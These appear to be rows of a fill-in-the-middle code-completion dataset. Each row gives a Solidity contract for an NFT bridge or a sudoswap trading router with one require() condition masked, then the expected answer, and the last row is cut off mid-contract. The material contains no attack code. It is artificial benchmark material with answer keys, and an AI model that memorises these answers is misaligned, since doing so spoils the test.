* @dev If the NFT is available on the Ethereum, then this map stores true
* for the externalID, false otherwise.
*/
mapping(string => bool) private _bridgedExternalTokenIDs;
/// for counting whenever add bridge once approve on solana
/// if it's down to 0, will call to remove bridger
/// user => counts
mapping(address => uint256) private _countAddBridge;
address public admin;
/// user should send some ETH to admin wallet when doing bridgeToEthereum
uint256 public gasFeeETH;
uint256 public bridgeFactoryLastId;
/**
* @dev Bridgers are Helix service accounts which listen to the events
* happening on the Solana chain and then enabling the NFT for
* minting / unlocking it for usage on Ethereum.
*/
EnumerableSet.AddressSet private _bridgers;
// Emitted when tokens are bridged to Ethereum
event BridgeToEthereum(
address indexed bridger,
string[] externalTokenIds,
string uri
);
// Emitted when tokens are bridged to Solana
event BridgeToSolana(
string externalRecipientAddr,
string[] externalTokenIDs
);
// Emitted when a bridger is added
event AddBridger(
address indexed bridger,
string externalIDs,
uint256 newBridgeFactoryId
);
// Emitted when a bridger is deleted
event DelBridger(address indexed bridger);
/**
* @dev HelixNFT contract
*/
HelixNFT helixNFT;
constructor(HelixNFT _helixNFT, address _admin, uint256 _gasFeeETH) {
}
function addBridgeFactory(address _user, string[] calldata _externalIDs, string[] calldata _nftIDs, string[] calldata _tokenURIs)
external
onlyOwner
{
}
/**
* @dev This function is called ONLY by bridgers to bridge the token to Ethereum
*/
function bridgeToEthereum(uint256 _bridgeFactoryId)
external
onlyBridger
whenNotPaused
payable
returns(bool)
{
}
function getBridgeFactoryIDs(address _user) external view returns (uint[] memory) {
}
function getBridgeFactories(address _user) external view returns (BridgeFactory[] memory) {
}
/**
* @dev Whether the token is bridged or not.
*/
function isBridged(string calldata _externalTokenID) external view returns (bool) {
}
/// Called by the owner to pause the contract
function pause() external onlyOwner {
}
/// Called by the owner to unpause the contract
function unpause() external onlyOwner {
}
/**
* @dev Mark token as unavailable on Ethereum.
*/
// TODO - check this thoroughly for correctness
function bridgeToSolana(uint256 _tokenId, string calldata _externalRecipientAddr)
external
whenNotPaused
{
uint256 bridgeFactoryId = helixNFT.getBridgeFactoryId(_tokenId);
BridgeFactory storage _bridgeFactory = bridgeFactories[bridgeFactoryId];
string[] memory externalTokenIDs = _bridgeFactory.externalIDs;
uint256 length = externalTokenIDs.length;
for (uint256 i = 0; i < length; i++) {
string memory externalID = externalTokenIDs[i];
require(<FILL_ME>)
// require(_bridgedExternalTokenIDsPickUp[externalID] == msg.sender, "HelixNFTBridge: Not owner");
_bridgedExternalTokenIDs[externalID] = false;
}
_bridgedTokenIDs[_tokenId] = false;
_bridgeFactory.bridgeStatus = BridgeStatus.Burned;
helixNFT.burn(_tokenId);
emit BridgeToSolana(_externalRecipientAddr, externalTokenIDs);
}
/**
* @dev used by owner to delete bridger
* @param _bridger address of bridger to be deleted.
* @return true if successful.
*/
function delBridger(address _bridger) external onlyOwner returns (bool) {
}
function _delBridger(address _bridger) internal returns (bool) {
}
/**
* @dev See the number of bridgers
* @return number of bridges.
*/
function getBridgersLength() public view returns (uint256) {
}
/**
* @dev Check if an address is a bridger
* @return true or false based on bridger status.
*/
function isBridger(address account) public view returns (bool) {
}
/**
* @dev Get the staker at n location
* @param _index index of address set
* @return address of staker at index.
*/
function getBridger(uint256 _index)
external
view
returns (address)
{
}
/**
* @dev Modifier for operations which can be performed only by bridgers
*/
modifier onlyBridger() {
}
}
| _bridgedExternalTokenIDs[externalID],"HelixNFT: already bridged to Solana" | 261,300 | _bridgedExternalTokenIDs[externalID] |
"caller is not the bridger" | // SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;
import "../tokens/HelixNFT.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
/**
* HelixNFTBridge is responsible for many things related to NFT Bridging from-/to-
* Solana blockchain. Here's the full list:
* - allow Solana NFT to be minted on Ethereum (bridgeFromSolana)
*/
contract HelixNFTBridge is Ownable, Pausable {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* Bridge status determines
* 0: pendding status, so when the BridgeServer adds BridgedToken
* 1: after minted the Ethereum NFT
*/
enum BridgeStatus {
Pendding,
Bridged,
Burned
}
struct BridgeFactory {
address user; // owner of Ethereum NFT
string[] externalIDs; // mint tokenIDs on Solana
string[] nftIDs; // label IDs on Solana
string[] tokenURIs; // tokenURIs on Solana : Ethereum NFT's TokenURI will be tokenURIs[0]
BridgeStatus bridgeStatus; // bridge status
}
/// bridgeFactoryId => BridgeFactory
mapping(uint256 => BridgeFactory) public bridgeFactories;
/// user -> bridgeFactoryIDs[]
mapping(address => uint[]) public bridgeFactoryIDs;
/// ethereum NFT tokenId -> true/false
mapping(uint256 => bool) private _bridgedTokenIDs;
/**
* @dev If the NFT is available on the Ethereum, then this map stores true
* for the externalID, false otherwise.
*/
mapping(string => bool) private _bridgedExternalTokenIDs;
/// for counting whenever add bridge once approve on solana
/// if it's down to 0, will call to remove bridger
/// user => counts
mapping(address => uint256) private _countAddBridge;
address public admin;
/// user should send some ETH to admin wallet when doing bridgeToEthereum
uint256 public gasFeeETH;
uint256 public bridgeFactoryLastId;
/**
* @dev Bridgers are Helix service accounts which listen to the events
* happening on the Solana chain and then enabling the NFT for
* minting / unlocking it for usage on Ethereum.
*/
EnumerableSet.AddressSet private _bridgers;
// Emitted when tokens are bridged to Ethereum
event BridgeToEthereum(
address indexed bridger,
string[] externalTokenIds,
string uri
);
// Emitted when tokens are bridged to Solana
event BridgeToSolana(
string externalRecipientAddr,
string[] externalTokenIDs
);
// Emitted when a bridger is added
event AddBridger(
address indexed bridger,
string externalIDs,
uint256 newBridgeFactoryId
);
// Emitted when a bridger is deleted
event DelBridger(address indexed bridger);
/**
* @dev HelixNFT contract
*/
HelixNFT helixNFT;
constructor(HelixNFT _helixNFT, address _admin, uint256 _gasFeeETH) {
}
function addBridgeFactory(address _user, string[] calldata _externalIDs, string[] calldata _nftIDs, string[] calldata _tokenURIs)
external
onlyOwner
{
}
/**
* @dev This function is called ONLY by bridgers to bridge the token to Ethereum
*/
function bridgeToEthereum(uint256 _bridgeFactoryId)
external
onlyBridger
whenNotPaused
payable
returns(bool)
{
}
function getBridgeFactoryIDs(address _user) external view returns (uint[] memory) {
}
function getBridgeFactories(address _user) external view returns (BridgeFactory[] memory) {
}
/**
* @dev Whether the token is bridged or not.
*/
function isBridged(string calldata _externalTokenID) external view returns (bool) {
}
/// Called by the owner to pause the contract
function pause() external onlyOwner {
}
/// Called by the owner to unpause the contract
function unpause() external onlyOwner {
}
/**
* @dev Mark token as unavailable on Ethereum.
*/
// TODO - check this thoroughly for correctness
function bridgeToSolana(uint256 _tokenId, string calldata _externalRecipientAddr)
external
whenNotPaused
{
}
/**
* @dev used by owner to delete bridger
* @param _bridger address of bridger to be deleted.
* @return true if successful.
*/
function delBridger(address _bridger) external onlyOwner returns (bool) {
}
function _delBridger(address _bridger) internal returns (bool) {
}
/**
* @dev See the number of bridgers
* @return number of bridges.
*/
function getBridgersLength() public view returns (uint256) {
}
/**
* @dev Check if an address is a bridger
* @return true or false based on bridger status.
*/
function isBridger(address account) public view returns (bool) {
}
/**
* @dev Get the staker at n location
* @param _index index of address set
* @return address of staker at index.
*/
function getBridger(uint256 _index)
external
view
returns (address)
{
}
/**
* @dev Modifier for operations which can be performed only by bridgers
*/
modifier onlyBridger() {
require(<FILL_ME>)
_;
}
}
| isBridger(msg.sender),"caller is not the bridger" | 261,300 | isBridger(msg.sender) |
"Pool already known" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
require(<FILL_ME>)
require(isSudoSwapPool(sudoswapPool), "Not a valid sudoswap pool");
knownPool[sudoswapPool] = true;
poolContributors[sudoswapPool] = msg.sender;
address nft = address(LSSVMPair(sudoswapPool).nft());
pools[nft].push(sudoswapPool);
return true;
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| !knownPool[sudoswapPool],"Pool already known" | 261,493 | !knownPool[sudoswapPool] |
"Not a valid sudoswap pool" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
require(!knownPool[sudoswapPool], "Pool already known");
require(<FILL_ME>)
knownPool[sudoswapPool] = true;
poolContributors[sudoswapPool] = msg.sender;
address nft = address(LSSVMPair(sudoswapPool).nft());
pools[nft].push(sudoswapPool);
return true;
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| isSudoSwapPool(sudoswapPool),"Not a valid sudoswap pool" | 261,493 | isSudoSwapPool(sudoswapPool) |
"Not enough ETH on contract" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
balances[recipient] += fee;
totalBalance += fee;
uint256 currentBalance = balances[recipient];
if (currentBalance >= minBalanceForTransfer) {
require(<FILL_ME>)
require(totalBalance >= currentBalance, "Don't lose track of how much ETH we have!");
balances[recipient] = 0;
totalBalance -= currentBalance;
payable(recipient).transfer(currentBalance);
}
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| address(this).balance>=currentBalance,"Not enough ETH on contract" | 261,493 | address(this).balance>=currentBalance |
"Not a valid sudoswap pool" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
/* returns token ID of purchased NFT */
require(<FILL_ME>)
IERC721 nft = LSSVMPair(pool).nft();
require(nft.balanceOf(pool) > 0, "Pool has no NFTs");
uint256[] memory tokenIDs = LSSVMPair(pool).getAllHeldIds();
tokenID = tokenIDs[tokenIDs.length - 1];
uint256 startingValue = msg.value;
uint256 maxProtocolFee;
uint256 maxContributorFee;
(maxProtocolFee, maxContributorFee) = calcFees(startingValue);
uint256 maxAllowedSpend = startingValue - (maxContributorFee + maxProtocolFee);
uint256 usedAmt = LSSVMPair(pool).swapTokenForAnyNFTs{value: maxAllowedSpend}(
1,
maxAllowedSpend,
msg.sender,
false,
address(0));
require(usedAmt < startingValue, "Can't use more ETH than was originally sent");
require(usedAmt > 0, "There ain't no such thing as a free lunch");
// compute actual fees based on what got spent by sudoswap
uint256 contributorFee;
uint256 protocolFee;
(protocolFee, contributorFee) = calcFees(usedAmt);
uint256 amtWithFees = usedAmt + (protocolFee + contributorFee);
require(amtWithFees <= startingValue, "Can't spend more than we were originally sent");
addFee(poolContributors[pool], contributorFee);
addFee(protocolFeeAddress, protocolFee);
uint256 diff = startingValue - amtWithFees;
// send back unused ETH
if (diff > 0) { payable(msg.sender).transfer(diff); }
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| isSudoSwapPool(pool),"Not a valid sudoswap pool" | 261,493 | isSudoSwapPool(pool) |
"Pool has no NFTs" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
/* returns token ID of purchased NFT */
require(isSudoSwapPool(pool), "Not a valid sudoswap pool");
IERC721 nft = LSSVMPair(pool).nft();
require(<FILL_ME>)
uint256[] memory tokenIDs = LSSVMPair(pool).getAllHeldIds();
tokenID = tokenIDs[tokenIDs.length - 1];
uint256 startingValue = msg.value;
uint256 maxProtocolFee;
uint256 maxContributorFee;
(maxProtocolFee, maxContributorFee) = calcFees(startingValue);
uint256 maxAllowedSpend = startingValue - (maxContributorFee + maxProtocolFee);
uint256 usedAmt = LSSVMPair(pool).swapTokenForAnyNFTs{value: maxAllowedSpend}(
1,
maxAllowedSpend,
msg.sender,
false,
address(0));
require(usedAmt < startingValue, "Can't use more ETH than was originally sent");
require(usedAmt > 0, "There ain't no such thing as a free lunch");
// compute actual fees based on what got spent by sudoswap
uint256 contributorFee;
uint256 protocolFee;
(protocolFee, contributorFee) = calcFees(usedAmt);
uint256 amtWithFees = usedAmt + (protocolFee + contributorFee);
require(amtWithFees <= startingValue, "Can't spend more than we were originally sent");
addFee(poolContributors[pool], contributorFee);
addFee(protocolFeeAddress, protocolFee);
uint256 diff = startingValue - amtWithFees;
// send back unused ETH
if (diff > 0) { payable(msg.sender).transfer(diff); }
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| nft.balanceOf(pool)>0,"Pool has no NFTs" | 261,493 | nft.balanceOf(pool)>0 |
"SudoGate contract not approved to transfer the NFT" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
